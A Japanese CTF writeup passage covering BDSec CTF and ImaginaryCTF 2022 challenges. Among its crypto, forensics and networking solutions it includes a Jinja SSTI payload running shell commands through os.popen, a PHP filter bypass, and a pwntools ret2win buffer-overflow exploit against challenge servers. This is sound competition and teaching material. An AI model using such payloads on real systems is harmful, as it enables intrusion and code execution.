  pbVar1 = std::operator<<(pbVar1,'a');
  pbVar1 = std::operator<<(pbVar1,'Z');
  pbVar1 = std::operator<<(pbVar1,'Y');
  pbVar1 = std::operator<<(pbVar1,'_');
  pbVar1 = std::operator<<(pbVar1,'P');
  pbVar1 = std::operator<<(pbVar1,'e');
  pbVar1 = std::operator<<(pbVar1,'A');
  pbVar1 = std::operator<<(pbVar1,'z');
  pbVar1 = std::operator<<(pbVar1,'Y');
  pbVar1 = std::operator<<(pbVar1,'}');
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
             std::endl<char,std::char_traits<char>>);
  return 0;
}

fg関数の出力文字を並べればよい。

BDSEC{3aZY_PeAzY}

Jungle Templating (WEB 100)

SSTIの問題のようだ。以下のように入力して結果を見てみる。

{{config.__class__.__init__.__globals__['os'].popen("ls").read()}}
→Hi, __pycache__ app.py flag

{{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}}
→Hi, BDSEC{Y3Y_7H1515_7H3_F146}
BDSEC{Y3Y_7H1515_7H3_F146}

Awesome Note Keeping (WEB 100)

HTMLソースを見ると、コメントにこう書いてある。

<!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out.  -->

http://206.189.236.145:9000/index.php.bakにアクセスして、index.php.bakをダウンロードする。内容は以下のようになっている。

<!DOCTYPE html>
<html>

<head>
    <title>Awesome Note Keeping</title>
</head>

<body style="padding: 100px; background: #000000; color: #09b576">

    <h1>Welcome to Awesome Note Keeping</h1>
    <?php
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
    if (isset($_POST["note"]) && isset($_POST["note_title"])) {
        if (empty($_POST["note"]) || empty($_POST["note_title"])) {
            echo "All fields are required.";
        } else if (strlen($_POST["note_title"]) >= 13) {
            echo "Note title is too long.";
        } else if (strlen($_POST["note"]) >= 40) {
            echo "Note is too long.";
        } else {
            $note_title = str_replace("flag", "", $_POST["note_title"]);
            if (!empty($note_title)) {
                if (file_exists($note_title . ".txt")) {
                    echo "There is already a note with that title and the note is <br>";
                    $note_title = str_replace("flag", "", $note_title);
                    $myNote = fopen($note_title . ".txt", "r");
                    echo fread($myNote, filesize($note_title . ".txt"));
                    fclose($myNote);
                } else {
                    $myNote = fopen($note_title . ".txt", "w");
                    fwrite($myNote, $_POST["note"]);
                    fclose($myNote);
                    echo "Your note has been saved.";
                }
            } else {
                echo "Sorry ! You can't create flag note.";
            }
        }
    }


    if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") {
        if (file_exists($_GET["note_title"] . ".txt")) {
            $myNote = fopen($_GET["note_title"] . ".txt", "r");
            echo fread($myNote, filesize($_GET["note_title"] . ".txt"));
            fclose($myNote);
        } else {
            echo "Sorry ! Couldn't find any note with that title.";
        }
    }

    ?>
    <br>
    <h5>Create a Note</h5>
    <form action="" method="POST">
        <table>
            <tr>
                <td><label>Note Title : </label></td>
                <td><input type="text" name="note_title" /></td>
            </tr>
            <tr>
                <td><label>Note : </label></td>
                <td><textarea name="note"></textarea></td>
            </tr>
        </table>
        <input type="submit" value="Save" />
    </form>

    <h5>Read a Note</h5>
    <form action="" method="GET">
        <table>
            <tr>
                <td><label>Note Title : </label></td>
                <td><input type="text" name="note_title" /></td>
            </tr>
        </table>
        <input type="submit" value="Read" />
    </form>
    <!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out.  -->
</body>

</html>

"flag"が2回""に置換されるようなので、タイトルに"flflflagagag"と指定して、Saveしてみると、以下のように表示された。

There is already a note with that title and the note is
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}

Victim & Attacker (Networking 25)

FTPで何回もログインに失敗している通信がある。通信元は192.168.1.10、FTPサーバは192.168.1.13。

BDSEC{192.168.1.13_192.168.1.10}

Which FTP? (Networking 50)

ftpでフィルタリングする。No.69421パケットなどからFTPサーバのバージョンがわかる。

BDSEC{vsFTPd_3.0.3}

FTP Creads (Networking 50)

ftpでフィルタリングする。No.81130パケットでログインに成功している。この時のusernameは"ftpadmin"、passwordは"ftpadmin"。

BDSEC{ftpadmin_ftpadmin}

Uploaded File (Networking 50)

ftpでフィルタリングする。CWD filesの後、RETR .hacker.note のパケットがある。

BDSEC{/files/.hacker.note}

Log File (Networking 50)

ftpでフィルタリングする。RETRでdnNmdHBk.logが転送されている。

BDSEC{dnNmdHBk.log}

これではフラグは通らない。base64デコードしてみる。

$ echo dnNmdHBk | base64 -d
vsftpd
BDSEC{vsftpd.log}

CryptoCode (Cryptography 25)

Pythonのcryptocodeライブラリを使って復号する。

#!/usr/bin/env python3
import cryptocode

with open('cipher.txt', 'r') as f:
    ct = f.read()

key = 'BDSEC'
flag = cryptocode.decrypt(ct, key)
print(flag)
BDSEC{cryp70_and_pyth0n_ar3_aw3s0me}

VIPx01 (Cryptography 25)

ROT13。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

BDSEC{crypt0_ar3_aw3s0m3}

Fake (Cryptography 50)

https://www.spammimic.com/decode.shtmlでデコードする。

Hello Mr.Alex   I won't 100000 M USD dolor. Can  you want that, you need this key   BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail} 
BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail}

Dominoes (Cryptography 50)

フラグの各文字とそれ以降の文字をすべてXORして暗号化している。つまり隣同士をXORすれば復号できる。

#!/usr/bin/env python3
with open('encrypted.txt', 'r') as f:
    enc_flag = f.read()

flag = ''
for i in range(len(enc_flag) - 1):
    flag += chr(ord(enc_flag[i]) ^ ord(enc_flag[i+1]))
flag += enc_flag[-1]
print(flag)
BDSEC{n0t_50_e45y_hUh?_433}

Loop Lover (Cryptography 100)

転置暗号。逆に戻していけばよい。逆に戻すと、base64エンコード文字列になっているので、さらにデコードする。

#!/usr/bin/env python3
from base64 import *

def rev_f(t):
    c = list(t)
    for i in range(len(t) - 1, -1, -1):
        for j in range(len(t) - 2, i - 1, -1):
            for k in range(len(t) - 3, j - 1, -1):
                c[k], c[k+1] = c[k+1], c[k]
    return ''.join(c)

with open('ciphertext.txt', 'r') as f:
    enc_flag = f.read()

b64_flag = rev_f(enc_flag)
flag = b64decode(b64_flag).decode()
print(flag)
BDSEC{ju57_L00p_m3_4w4y}

Basically RSA (Cryptography 100)

RSA暗号。factordbでNを素因数分解する。

N = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

N = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923
E = 65537
C = 241757357533719849989659127349827982677055294256023833052829147857534659015212862

p = 1899107986527483535344517113948531328331
q = 674357869540600933870145899564746495319033

phi = (p - 1) * (q - 1)
d = inverse(E, phi)
m = pow(C, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BDSEC{r54_i5_fUn_r16h7?}

ImaginaryCTF 2022 Writeup

この大会は2022/7/16 5:00(JST)~2022/7/19 5:00(JST)に開催されました。
今回もチームで参戦。結果は3950点で815チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

問題にフラグが書いてあった。

ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

Discord (Misc)

Discordに入り、#imaginaryctf-2022のトピックを見ると、フラグが書いてあった。

ictf{stay_tuned_after_the_ctf_for_daily_ctf_challenges!}

Sponsors (Misc)

DigitalOceanのYouTube動画を見ていたら、フラグが現れた。

ictf{digitalocean_r0cks!}

ret2win (Pwn)

BOFでwin関数をコールすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('ret2win.chal.imaginaryctf.org', 1337)
else:
    p = process('./vuln')

elf = ELF('./vuln')

win_addr = elf.symbols['win']

payload = b'A' * 24
payload += p64(win_addr)

for _ in range(3):
    data = p.recvline().rstrip().decode()
    print(data)

print(payload)
p.sendline(payload)
for _ in range(3):
    data = p.recvline().rstrip().decode()
    print(data)

実行結果は以下の通り。

[+] Opening connection to ret2win.chal.imaginaryctf.org on port 1337: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
Welcome to ret2win!
Right now I'm going to read in input.
b'AAAAAAAAAAAAAAAAAAAAAAAA\xd6\x11@\x00\x00\x00\x00\x00'
Can you overwrite the return address?
Returning to 0x4011d6...
ictf{c0ngrats_on_pwn_number_1_9b1e2f30}
[*] Closed connection to ret2win.chal.imaginaryctf.org port 1337

rooCookie (Web)

HTMLソースを見ると、以下のスクリプトがある。

<script>
function createToken(text) {
	let encrypted = "";
  for (let i = 0; i < text.length; i++) {
		encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2)
  }
  document.cookie = encrypted
}

document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000"
</script>

以上から、暗号化前の文字列を割り出す。

#!/usr/bin/env python3
token = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'

flag = ''
enc = ''
for i in range(len(token)):
    enc += token[i]
    code = int(enc, 2) - 1337 + 43
    if code > 31 and code < 127:
        flag += chr(code)
        enc = ''
print(flag)

実行結果は以下の通り。

username="roo" & password="ictf{h0p3_7ha7_wa5n7_t00_b4d}"
ictf{h0p3_7ha7_wa5n7_t00_b4d}

Ogre (Forensics)

$ sudo docker pull ghcr.io/iciaran/ogre:ctf
ctf: Pulling from iciaran/ogre
2408cc74d12b: Pull complete 
8283096dcba0: Pull complete 
a3e654983208: Pull complete 
024c9a3b77d6: Pull complete 
e941c022b0bd: Pull complete 
cbc989e5dd36: Pull complete 
4f4fb700ef54: Pull complete 
993516637bdd: Pull complete 
6e4e19988c74: Pull complete 
4ed7e9ba3a5b: Pull complete 
b492bc1f2140: Pull complete 
e53efe2289f6: Pull complete 
49031d8315d0: Pull complete 
4eecd2f17f75: Pull complete 
fc9178609e99: Pull complete 
c4f33748bee0: Pull complete 
Digest: sha256:e76cc2da53d3a446d6803deb2634d0e42ad957947eb649f706f2cc5b2bd92277
Status: Downloaded newer image for ghcr.io/iciaran/ogre:ctf
ghcr.io/iciaran/ogre:ctf
$ sudo docker history ghcr.io/iciaran/ogre:ctf
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0d847c76be92   4 weeks ago   CMD ["node" "server.js"]                        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   EXPOSE map[8080/tcp:{}]                         0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY quotes.json quotes.json # buildkit         5.46kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY public public # buildkit                   6.01kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY views views # buildkit                     634B      buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY server.js server.js # buildkit             441B      buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install ejs # buildkit       2.26MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c rm /tmp/secret # buildkit        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install express # buildkit   5.86MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s…   61B       buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm init -y # buildkit           2.35kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app/ogre                               0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c mkdir ogre # buildkit            0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app                                    0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   /bin/sh -c #(nop)  CMD ["node"]                 0B        
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B        
<missing>      4 weeks ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B      
<missing>      4 weeks ago   /bin/sh -c apk add --no-cache --virtual .bui…   7.77MB    
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B        
<missing>      4 weeks ago   /bin/sh -c addgroup -g 1000 node     && addu…   161MB     
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV NODE_VERSION=18.4.0      0B        
<missing>      7 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B        
<missing>      7 weeks ago   /bin/sh -c #(nop) ADD file:8e81116368669ed3d…   5.53MB
$ sudo docker save ghcr.io/iciaran/ogre:ctf > layers.tar

tarを展開して、さらに各フォルダにあるtarを展開してみていく。
layers/2363bcd31aa3fca27db926db77d42569a7deb98109086e80bba914a3fad8070b/layer/tmp/secret
という秘密情報と思われるファイルを見つけた。中には以下のように書いてある。

aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo=

base64デコードする。

$ echo aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo= | base64 -d
ictf{onions_have_layers_images_have_layers}
ictf{onions_have_layers_images_have_layers}

unpuzzled4 (Forensics)

Discordに入り、unpuzzler7#6451のプロフィールを見ると、こう書いてある。

Unpuzzling people, one at a time. WAR ON PUZZLES!

Check out some cool pictures!
https://www.flickr.com/unpuzzler7

https://www.flickr.com/unpuzzler7にアクセスしてみる。そこにrickとskyの写真がある。ここではskyの写真をオリジナルサイズでダウンロードし、sky.pngにリネームし、EXIFを見てみる。

$ exiftool sky.png
ExifTool Version Number         : 10.80
File Name                       : sky.png
Directory                       : .
File Size                       : 544 kB
File Modification Date/Time     : 2022:07:17 11:10:14+09:00
File Access Date/Time           : 2022:07:17 11:13:55+09:00
File Inode Change Date/Time     : 2022:07:17 11:10:14+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1261
Image Height                    : 805
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 3779
Pixels Per Unit Y               : 3779
Pixel Units                     : meters
City                            : ictf{1mgur_d03sn't_cl3ar_3xif}
Application Record Version      : 4
Image Size                      : 1261x805
Megapixels                      : 1.0

Cityにフラグが設定されていた。

ictf{1mgur_d03sn't_cl3ar_3xif}

bsv (Forensics)

"BEE"区切りのbsvというフォーマットを作ったらしい。区切り文字を","に変えて、csvとしてファイル保存する。

#!/usr/bin/env python3
with open('flag.bsv', 'rb') as f:
    data = f.read()

bsv = data.split(b'BEE')
csv = b','.join(bsv)

with open('flag.csv', 'wb') as f:
    f.write(csv)

Excelでこのcsvを開き縮小すると、文字の入っているセルでフラグに見える。

ICTFBUZZ_BUZZ_B2F13A

問題文によると、フラグ形式が書いてあり、{}を追加して、英小文字にする必要がある。

ictf{buzz_buzz_b2f13a}

improbus (Forensics)

corrupted.pngバイナリエディタで見ると、ところどころ"\xc2"や"\xc3"が混ざっている。単純に削除してみたが、pngとして開くことができない。IHDRチャンクのCRCなども合わない。sRGBチャンクのデータ部は1バイトしかないので、正しいCRCがわかりやすい。比較しながら、確認してみると、以下のようにすれば良さそうということがわかった。

"\xc2": 単純に削除する。
"\xc3": 次のバイトのASCIIコードに0b01000000をプラスする。

このことをスクリプトで実装し、pngを復元する。

#!/usr/bin/env python3
with open('corrupted.png', 'rb') as f:
    data = f.read()

data = data.replace(b'\xc2', b'')

out = b''
index = 0
while index < len(data):
    if data[index] == 0xc3:
        index += 1
        d = data[index] + 0x40
        out += bytes([d])
    else:
        out += bytes([data[index]])
    index += 1

with open('flag.png', 'wb') as f:
    f.write(out)

復元した画像にフラグが書いてあった。

ictf{fixed!_3f5ce751}

otp (Crypto)

$ nc otp.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to my one time pad as a service!
Enter plaintext: FLAG
Encrypted flag: 9c9c8b9d248cda821092dddb4cda9bbe86c1b98a8b9bb7269589e0d58ed6859109d6123e109cd7a6150ba02f46cedcb3f4
Enter plaintext: abcdefgh
Encrypted message: 9ec98dab3b9d1cc0
Enter plaintext: ABCDEFGH
Encrypted message: 9295b9fb1b3faab3
Enter plaintext: 

サーバの処理概要は以下の通り。

・seed: 0以上100000000以下のランダム値
・以下、繰り返し
 ・inp: 入力
 ・inpが"FLAG"の場合
  ・xor(flag, secureRand(len(flag)*8, seed))を16進数で表示
   ・secureRand(len(flag)*8, seed)
    ・jumbler: 2400個の要素の固定配列
    ・out = ''
    ・state = seed % 2400
    ・len(flag)*8回、以下繰り返し
     ・jumbler[state]の数値の先頭1桁目が4以下の場合、out += "1"
     ・jumbler[state]の数値の先頭1桁目が5以上の場合、out += "0"
     ・state: jumblerからランダムに3つの値を取り、先頭を結合した値→数値化
 ・inpが"FLAG"以外の場合
  ・xor(inp, secureRand(len(inp)*8, seed))を16進数で表示

2回目以降のsecureRand関数で使われるstateは0を含まない3桁の数値になる。確認したところ、その数値でjumbler[state]の数値の先頭1桁目が5より小さい場合は501個、大きい場合は228個。つまりoutには"1"が結合される可能性がかなり高い。
FLAGの暗号化を何回も試し、ビットごとに頻度の高いデータを反転することによってフラグを求める。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_enc_flag(s):
    data = recvuntil(s, b': ')
    print(data + 'FLAG')
    s.sendall(b'FLAG\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    hex_enc = data.split(': ')[1]
    l = len(hex_enc) * 4
    enc = bin(int(hex_enc, 16))[2:].zfill(l)
    return enc

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('otp.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

enc = get_enc_flag(s)
count = [0] * len(enc)

ROUND = 256
for _ in range(ROUND):
    enc = get_enc_flag(s)
    for i in range(len(enc)):
        if enc[i] == '1':
            count[i] += 1

bin_flag = ''
for i in range(len(count)):
    if count[i] > ROUND // 2:
        bin_flag += '0'
    else:
        bin_flag += '1'

flag = long_to_bytes(int(bin_flag, 2)).decode()
print(flag)

実行結果は以下の通り。

== proof-of-work: disabled ==
Welcome to my one time pad as a service!
Enter plaintext: FLAG
Encrypted flag: f71e8b99839caafda9b5851b8cba92db9a20bc2e8ac41793300624a31082a099facc6aa361af8e14959862ce668ed70ae4
Enter plaintext: FLAG
Encrypted flag: 909e8bbe9c0d9ac95930ef19800487969b8896faae948695d0ce19cb88a3b29c8d94ae92ea9e8cc33452e3ced7c4251b55
Enter plaintext: FLAG
Encrypted flag: e2d6cc9555dd08db89b495af0da09f9bdcccd89f0add998e118c25db1e438ad9c89f8a5ba000de509a8ac3c6c6c158860d
                :
                :
Enter plaintext: FLAG
Encrypted flag: 94dce3d8a7ddcab004c09513a1b0d3fed0809c0c999d97aa913c84b0dcae0701449e38c85380b65cdd96a5d7478fd285e5
Enter plaintext: FLAG
Encrypted flag: 8e919f598d9fc842d9b30fc926e192dd89a038968e5ead12325da0dafc97a1999498c49309bc9f30b0aa801cb46ce720cb
Enter plaintext: FLAG
Encrypted flag: 829153586018828571d6cdb68c2a79badcbb3437073c129ee342628796cb03be8fde931beaae86b84bbaa19dd2e08002b9
ictf{benfords_law_catching_tax_fraud_since_1938}
ictf{benfords_law_catching_tax_fraud_since_1938}

hash (Crypto)

$ nc hash.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Can you guess my passwords?
--------ROUND 0--------
sha42(password) = 6e3f5d7c4e415e6e77687e11153a7b2778432b244b
hex(password) = 

サーバの処理概要は以下の通り。

・config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()]
・50回以下繰り返し
 ・password: 15~20文字のprintable文字列
 ・hash: sha42(password)
 ・hash表示
 ・guess: passwordをhexで入力→デコード
 ・sha42(guess) と hashが一致していなかったら終了
・フラグを表示

sha42は計算が複雑なので、条件を満たすパスワードをz3で解く。その際、パスワードの長さは常に21にしておけば、条件を満たすパスワードが存在する。

#!/usr/bin/env python3
import socket
from z3 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hash.chal.imaginaryctf.org', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for trial in range(50):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    hash = data.split(' ')[-1]
    out_hash = [int(hash[i:i+2], 16) for i in range(0, len(hash), 2)]

    passlen = 21
    x = [BitVec('x%d' % i, 8) for i in range(passlen)]
    slv = Solver()
    out = [0] * 21
    for round in range(42):
        for c in range(passlen):
            if config[((c // 21) + round) % len(config)][c % 21] == 1:
                out[(c + round) % 21] ^= x[c]
    for i in range(21):
        slv.add(out[i] == out_hash[i])
    r = slv.check()
    assert r == sat
    m = slv.model()
    password = ''
    for i in range(21):
        password += format(m[x[i]].as_long(), '02x')

    data = recvuntil(s, b'= ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
Can you guess my passwords?
--------ROUND 0--------
sha42(password) = 115918315d79753602586e29630c2910616a6d281e
hex(password) = 2da57b38679fb43ebb0e5672423b3cea21da94004e
Correct!
--------ROUND 1--------
sha42(password) = 5020211f23016f75626b2f376712723e5632312144
hex(password) = 54d40759408bca27ed455f3c480972a929f4e30036
Correct!
--------ROUND 2--------
sha42(password) = 260d7b39116444326f2e253f28560034326c4a783f
hex(password) = d88dbac967e79c20b2d0256fba2e99cf0034cf00fb
Correct!
--------ROUND 3--------
sha42(password) = 506d3807763c51460578633017662f027606544e49
hex(password) = 76ae127141e89a479639426d1c2b60b26dc3b63840
Correct!
        :
        :
--------ROUND 47--------
sha42(password) = 3569576a38127617451217517d6d79265a0c76390d
hex(password) = 852db59d283e526779ab4d3f8a64b85156fc0d00f1
Correct!
--------ROUND 48--------
sha42(password) = 0d3a5b5545011679692c326a70042b072864542c54
hex(password) = 61281c192e357124144f513740617d6b7e3a1c0010
Correct!
--------ROUND 49--------
sha42(password) = 31181c43564a1a71240c7a1a7c1c7d1466641e796f
hex(password) = 437b4c4d4f1c633b076e3a3c15090a3a5756550031
Correct!
Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}
ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

stream (Crypto)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  ulong uVar1;
  FILE *pFVar2;
  long lVar3;
  char *__s;
  long lVar4;
  int iVar5;
  int __n;
  
  if (2 < param_1) {
    uVar1 = strtol((char *)param_2[2],(char **)0x0,10);★KEYに数値を指定し、uVar1にlong値として変換
    pFVar2 = fopen((char *)param_2[1],"r");★[FILE]
    fseek(pFVar2,0,2);★ファイル終端にポイント
    lVar3 = ftell(pFVar2);★lVar3 = 42(ファイルサイズ)
    lVar4 = lVar3 + 7;
    if (-1 < lVar3) {
      lVar4 = lVar3;★lVar4 = 42
    }
    iVar5 = (int)(lVar4 >> 3) * 8;★lVar5 = 40
    __n = iVar5 + 8;★__n = 48
    fseek(pFVar2,0,0);★ファイル先頭にポイント
    fclose(pFVar2);★★←バグってる??
    __s = (char *)malloc((long)__n);
    fgets(__s,__n,pFVar2);★__s: [FILE]の内容
    iVar5 = iVar5 + 0xf;
    if (-1 < __n) {
      iVar5 = __n; ★iVar5 = 48
    }
    if (7 < __n) {
      lVar4 = 0;
      do {
        *(ulong *)(__s + lVar4 * 8) = *(ulong *)(__s + lVar4 * 8) ^ uVar1;★8バイトごとにXOR(uVar1は鍵)
        uVar1 = uVar1 * uVar1;★新しい鍵
        lVar4 = lVar4 + 1;
      } while ((int)lVar4 < iVar5 >> 3);
    }
    pFVar2 = fopen((char *)param_2[3],"w");
    fwrite(__s,(long)__n,1,pFVar2);
    fclose(pFVar2);
    return 0;
  }
  __printf_chk(1,"[*] Usage: %s [FILE] [KEY] [OUT]\n",*param_2);
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

フラグは"ictf{"で始まることを前提にブルートフォースで鍵を求め、フラグを求める。このとき、フラグは42バイトであることがわかっているので、最後のブロックの後半6バイトは、最後のブロックの鍵(数値)の先頭48ビットであることも条件として利用する。

#!/usr/bin/env python3
def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            if c != 10 and c != 0:
                return False
    return True

with open('out.txt', 'rb') as f:
    enc = f.read()

blocks = [enc[i:i+8] for i in range(0, len(enc), 8)]

pre_head = b'ictf{'
pt0_base = int.from_bytes(pre_head, byteorder='little')
ct0 = int.from_bytes(blocks[0], byteorder='little')

for k in range(256**3):
    pt0 = pt0_base + k * 256**5
    key = pt0 ^ ct0
    try_key = key
    for _ in range(5):
        try_key = (try_key * try_key) % (256**8)
    last_block = try_key.to_bytes(8, byteorder='little')
    if last_block[2:] != blocks[-1][2:]:
        continue

    flag = b''
    for i in range(6):
        ct = int.from_bytes(blocks[i], byteorder='little')
        pt = ct ^ key
        flag += pt.to_bytes(8, byteorder='little')
        key = (key * key) % (256**8)
    if is_printable(flag):
        flag = flag.rstrip(b'\x00').rstrip().decode()
        print(flag)
        break
ictf{y0u_rec0vered_my_keystream_901bf2e4}

cbc (Crypto)

暗号処理の概要は以下の通り。

・key, ct = cbc_encrypt(msg=[flagを3回結合したもの])
 ・msg: msgをパディング
 ・msg: msgの16バイトずつの配列
 ・key: ランダム16バイト文字列
 ・out = []
 ・msgの各ブロックに以下の処理を実行
  ・next: blockをAES-ECB暗号
  ・outにnextを追加
  ・key = next
 ・out: 各要素を結合
 ・key, outを返却
・ct出力

2ブロック目以降は鍵がわかっているので、2ブロック目以降を復号し、フラグ部分を取り出す。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re

ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"

ct = [ct[i:i+16] for i in range(0, len(ct), 16)]

msg = b''
for i in range(1, len(ct)):
    key = ct[i - 1]
    cipher = AES.new(key, AES.MODE_ECB)
    pt = cipher.decrypt(ct[i])
    msg += pt

msg = unpad(msg, 16)
m = re.search(b'(ictf\{.+\})', msg)
flag = m.group(1).decode()
print(flag)
ictf{i_guess_i_implemented_cbc_wrong_02b413a9}

Secure Encoding: Hex (Crypto)

hex文字列がシャッフルされ、暗号化されている。フラグが"ictf{"から始まり、"}"で終わることを前提に対応表を作り、デコードする。あとは埋まっていない箇所を推測しながら、デコードする。

#!/usr/bin/env python3

def recover_hex(d, ct):
    pt = ''
    for c in ct:
        if c in d:
            pt += d[c]
        else:
            print('[+] unknown:', c)
            pt += '*'
    return pt

def recover_flag(pt):
    flag = ''
    for i in range(0, len(pt), 2):
        p = pt[i:i+2]
        if '*' in p:
            flag += '*'
        else:
            flag += chr(int(p, 16))
    return flag

with open('out.txt', 'r') as f:
    ct = f.read()

pt_head = b'ictf{'.hex()
pt_tail = b'}'.hex()

ct_part = ct[:len(pt_head)] + ct[-len(pt_tail):]
pt_part = pt_head + pt_tail

d = {}
for i in range(len(ct_part)):
    if ct_part[i] not in d:
        d[ct_part[i]] = pt_part[i]
    else:
        assert d[ct_part[i]] == pt_part[i]

pt = recover_hex(d, ct)
print('[+] pt:', pt)

flag = recover_flag(pt)
print('[+] flag:', flag)

## guess ##
d['c'] = '5'
d['f'] = 'f'
d['7'] = 'e'
d['9'] = 'c'
d['2'] = '1'
d['3'] = '2'
print('[+] d:', d)

pt = recover_hex(d, ct)
print('[+] pt:', pt)

flag = recover_flag(pt)
